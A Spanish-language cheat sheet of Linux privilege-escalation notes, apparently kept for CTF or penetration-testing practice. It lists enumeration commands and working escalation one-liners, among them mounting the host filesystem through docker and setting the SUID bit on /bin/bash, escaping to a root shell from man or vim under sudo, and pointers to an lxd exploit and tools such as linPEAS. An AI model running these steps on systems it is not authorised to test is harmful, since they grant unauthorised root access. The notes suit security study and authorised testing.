Primeras comprobaciones

#### Grupos de usuario
###Ver si esta el usuario en algun grupo interesante, como el de docker
id

#### Ejecución de tareas como root
sudo -l

#### Permisos SUID, GUID y Binarios SH
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -name *.sh
find / -name *.py
#### Versión de sudo
### teniendo la version de sudo se puede buscar alguna vulnerabilidad
sudo -V

#### Version del S.O
lsb_release -a

#### Version de kernel
uname -r

#### Listar tareas cron
ps -aux | grep cron
cat /etc/crontab
cat /etc/cron.d
crontab -l

#### Comprobar grupos
### A veces nuestro usuario no tiene privilegios, pero si el grupo al que pertenece.
id
find / -group "grupo"  -ls 2>/dev/null

###
Si pertenecemos al grupo pcap, mirar el apartado de "Wireshark" en la web
Si pertenecemos a un grupo que pueda ejecutar python, y encontramos un .py editable, podemos escalar facilmente.

#### Buscar capturas de wireshark
find / -name *.pcap* 2>/dev/null

#### Mirar las variables de entorno
### En ocasiones podemos encontrar credenciales, o aprovechar para ver si hay algo raro en el path
env

#### Comprobar el historial
history

cat $HOME/.bash_history

#### Comprobar servicios locales
### En ocasiones tenemos servicios como Mysql o algun panel de admin que solo funciona desde la máquina local, hay 2 maneras:
netstat -tuln
ss -tuln

### Capabilities
getcap -r / 2>/dev/null

### Mirar directorio opt
ls -la /opt

#TIPS
Mirar en /opt
Mirar si hubiera credenciales de root en ficheros de conexion a bases de datos, en caso de tener una web.
Mirar /home de usuarios
Mirar /etc/passwd para descubrir usuarios
Mirar binarios interesantes y si es necesario descompilar con ghidra

 SI NADA DE LO DE ARRIBA FUNCIONA, MIRAR RESTO DE SECCIONES DE HACKING LINUX

Docker

Pudiendo ejecutar docker sin ser root, se puede escalar privilegios y montar el sistema de ficheros de la maquina real en el contenedor de forma que podremos acceder a todo.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

NOTA Seremos root en el contenedor, no en la máquina. Pero podremos acceder a todo el sistema de ficheros, una vez hecho esto:

chmod u+s /bin/bash
bash -p

Binario con permisos de edición y ejecución

Con sudo -l vemos que se puede ejecutar como root, sus permisos nos deja editar el fichero, algo así ==rwxrwxrwx==. editamos dicho binario y le metemos el comando==su -==.

Pivoting / escalada privilegios con man

Tanto escalada como pivoting, si podemos ejecutar un binario como otro usuario (Sudo -L), y este binario tiene un manual, este se nos abre con vim. Lo que ocurre es que vim tiene un modo de comandos, en el que facilmente podemos hacer un:

!/bin/bash

y nos lanzamos una bash como ese usuario con el que ejecutamos el binario.

sudo -u usuario /bin/binario

Vulnerabilidad lxd

si el usuario pertenede al grupo lxd, (comprobar con comando id), existe un exploit para escalar privilegios a root. https://github.com/initstring/lxd_root

Herramientas automatizadas escalada privilegios

LES (Linux exploit suggester)

Linux Exploit Suggester Herramienta que busca vulnerabilidades a nivel de kernel de linux

linPEAS

LinPEAS Herramienta que busca posibles malas configuraciones en la maquina para intentar escalar privilegios

Pspy

Pspy Herramienta para monitorizar tareas cron

Linux exploit suggester (Kernel exploits)

Automatizacion para tratar de buscar vulnerabilidades a nivel de kernel y más, Linux exploit suggester V1 Linux exploit suggester V2